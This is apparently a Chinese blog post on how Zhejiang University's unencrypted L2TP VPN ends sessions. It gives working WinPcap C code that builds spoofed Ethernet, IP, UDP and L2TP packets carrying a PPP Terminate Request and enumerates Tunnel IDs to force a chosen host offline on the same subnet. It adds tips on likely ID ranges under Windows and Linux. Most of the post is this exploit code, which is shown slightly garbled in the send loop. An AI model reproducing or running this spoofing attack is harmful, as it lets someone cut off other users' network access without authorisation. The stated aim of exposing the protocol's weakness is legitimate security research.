某天无聊抓包的时候研究了下zjuvpn的连接和断开过程,应该来说是典型的PPP协议的握手、验证与建立过程,但断开vpn时的流程引起了我的兴趣。
通过可以清楚的发现是通过服务器向客户端发送Terminate Request而生效。而对于没有加密的vpn来说,我们可以任意地伪造一个有效的数据报,当然也可以伪造Terminate Request来中断指定主机的vpn连接。它的验证方式也非常简陋,只通过Tunnel Id和Session Id来判断。这就给了我们下手的空间,枚举tunnel id Session id 然后以此发送数据报即可。
那如何实现又是一个问题,libnet由于很早之前已经停止了更新感觉用起来不靠谱,windows raw socket又限定了发送者ip使得我们不能任意指定ip头的地址,于是就采用winpcap实现。
核心流程是根据协议格式构造数据报,然后调用pcap_send_packet来发送数据报。执行后指定ip的机器vpn会被断开。当然由于路由器的转发所限只能用于一个子网下。如果可以找到不绑定ip源和mac地址的路由也可以将其用于跨子网。
关键代码:
#define HAVE_REMOTE
#include
#include
#include
#pragma comment(lib, "wpcap.lib")
#include
#pragma comment(lib, "Ws2_32.lib")
//typedef void(* pcap_handler)(u_char *user, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data)
void my_pcap_handler(u_char *user, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data);
#define ETHER_ADDR_LEN 6
//from linux's ethernet.h
#define ETHERTYPE_PUP 0x0200 /* Xerox PUP */
#define ETHERTYPE_SPRITE 0x0500 /* Sprite */
#define ETHERTYPE_IP 0x0800 /* IP */
#define ETHERTYPE_ARP 0x0806 /* Address resolution */
#define ETHERTYPE_REVARP 0x8035 /* Reverse ARP */
#define ETHERTYPE_AT 0x809B /* AppleTalk protocol */
#define ETHERTYPE_AARP 0x80F3 /* AppleTalk ARP */
#define ETHERTYPE_VLAN 0x8100 /* IEEE 802.1Q VLAN tagging */
#define ETHERTYPE_IPX 0x8137 /* IPX */
#define ETHERTYPE_IPV6 0x86dd /* IP protocol version 6 */
#define ETHERTYPE_LOOPBACK 0x9000 /* used to test interfaces */
struct ether_header{
u_char ether_dhost[ETHER_ADDR_LEN];
u_char ether_shost[ETHER_ADDR_LEN];
u_short ether_type; //如果上一层为IP协议。则ether_type的值就是0x0800
};
char* prase_ether_host(u_char ether_host[ETHER_ADDR_LEN], char* buffer);
struct ip_header //小端模式__LITTLE_ENDIAN
{
unsigned char ihl:4; //ip header length
unsigned char version:4; //version
u_char tos; //type of service
u_short tot_len; //total length
u_short id; //identification
u_short frag_off; //fragment offset
u_char ttl; //time to live
u_char protocol; //protocol type
u_short check; //check sum
u_int saddr; //source address
u_int daddr; //destination address
};
struct tcphdr //小端模式__LITTLE_ENDIAN
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
u_int16_t window;
u_int16_t check;
u_int16_t urg_ptr;
};
struct udp_header
{
u_int16_t source; /* source port */
u_int16_t dest; /* destination port */
u_int16_t len; /* udp length */
u_int16_t checkl; /* udp checksum */
};
char* uint_to_addr(u_int addr);
u_int16_t in_cksum (u_int16_t * addr, int len)
{
int nleft = len;
u_int32_t sum = 0;
u_int16_t *w = addr;
u_int16_t answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
* (unsigned char *) (&answer) = * (unsigned char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}
struct L2tp_header //定义udp头部
{
u_short PacketType;
u_short TunnelId;
u_short SessionId;
u_char Address;
u_char Control;
u_short ProtocolType;
u_char code;
u_char identifier;
u_short length;
};
char* device = "//Device//NPF_{06864041-9387-44DC-AF44-37779B0F2E9E}";
pcap_t* adhandle = NULL;
char errbuf[PCAP_ERRBUF_SIZE] = { 0 };
void main()
{
char buffer[64] = { 0 };
ether_header* pether_header = (ether_header*)buffer;
ip_header* pip_header = (ip_header*)(buffer + sizeof(ether_header));
udp_header* pudp_header = (udp_header*)(buffer + sizeof(ether_header) + sizeof(ip_header));
L2tp_header* l2tp_header = (L2tp_header*)(buffer + sizeof(ether_header) + sizeof(ip_header)+sizeof(udp_header));
//源MAC地址
pether_header->ether_shost[0] = 1;
pether_header->ether_shost[1] = 2;
pether_header->ether_shost[2] = 3;
pether_header->ether_shost[3] = 4;
pether_header->ether_shost[4] = 5;
pether_header->ether_shost[5] = 6;
//目的MAC地址
pether_header->ether_dhost[0] = 0x00;
pether_header->ether_dhost[1] = 0x26;
pether_header->ether_dhost[2] = 0x9e;
pether_header->ether_dhost[3] = 0x27;
pether_header->ether_dhost[4] = 0xe6;
pether_header->ether_dhost[5] = 0x1f;
//l2tp段赋值
l2tp_header->TunnelId = htons(5);
l2tp_header->SessionId = htons(1);
l2tp_header->Address = 0xff;
l2tp_header->Control = 3;
l2tp_header->ProtocolType = htons(0xc021);
l2tp_header->code = 5;
l2tp_header->identifier = 0x99;
l2tp_header->length = htons(4);
l2tp_header->PacketType = htons(2);
pether_header->ether_type = htons(ETHERTYPE_IP);
assert((sizeof(ip_header) % 4) == 0);
//ip头赋值
pip_header->ihl = sizeof(ip_header) / 4;
pip_header->version = 4;
pip_header->tos = 0;
pip_header->tot_len = htons(sizeof(buffer) - sizeof(ether_header));
pip_header->id = htons(0x1000);
pip_header->frag_off = htons(0);
pip_header->ttl = 0x80;
pip_header->protocol = IPPROTO_UDP;
pip_header->check = 0;
pip_header->saddr = inet_addr("10.5.1.7");//
pip_header->daddr = inet_addr("x.x.x.x");
pip_header->check = in_cksum((u_int16_t*)pip_header, sizeof(ip_header));
//构建UDP数据头;
pudp_header->dest = htons(1701);
pudp_header->source = htons(1701);
pudp_header->len = htons(sizeof(buffer) - sizeof(ether_header) - sizeof(ip_header));
pudp_header->checkl = 0;
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i=0;
pcap_t *adhandle;
char errbuf[PCAP_ERRBUF_SIZE];
/* Retrieve the device list */
if(pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %sn", errbuf);
exit(1);
}
/* Print the list */
for(d=alldevs; d; d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)n", d->description);
else
printf(" (No description available)n");
}
if(i==0)
{
printf("nNo interfaces found! Make sure WinPcap is installed.n");
return ;
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
if(inum < 1 || inum > i)
{
printf("nInterface number out of range.n");
/* Free the device list */
pcap_freealldevs(alldevs);
return ;
}
/* Jump to the selected adapter */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* Open the device */
/* Open the adapter */
if ((adhandle= pcap_open_live(d->name, // name of the device
65536, // portion of the packet to capture.
// 65536 grants that the whole packet will be captured on all the MACs.
1, // promiscuous mode (nonzero means promiscuous)
1000, // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr,"nUnable to open the adapter. %s is not supported by WinPcapn", d->name);
/* Free the device list */
pcap_freealldevs(alldevs);
return ;
}
while(1){
for(u_char i = 0;i TunnelId = htons(i);
if(pcap_sendpacket(adhandle, (const u_char*)buffer, 64) == -1)
{
printf("[pcap_sendpacket error]/n");
return;
}
Sleep(1000);
}
}
}
由于不计算udp校验和,于是就不需要udp伪头部,只需要计算ip校验和。这个必须保证正确,因为udp校验和可以被设为0相当于关闭掉,而ip校验和错误的话会被接收方协议栈直接丢弃掉。
在windows环境下vpn握手方式使得Tunnel id只会在每次重连时加一,也就是说可以认为数值范围基本在1-20之间,对于terminate request来说session id只会为1。而linux下则有所不同,根据实验可以看出linux下的terminate报文 tunnel id是一个五位数的随机数,这大大增大了枚举的难度…
参考:http://blog.csdn.net/liqinghua1653/article/details/4058041
这不是赤果果的方校长作风吗 =w=
-,-只是想证明无加密的vpn有多么脆弱而已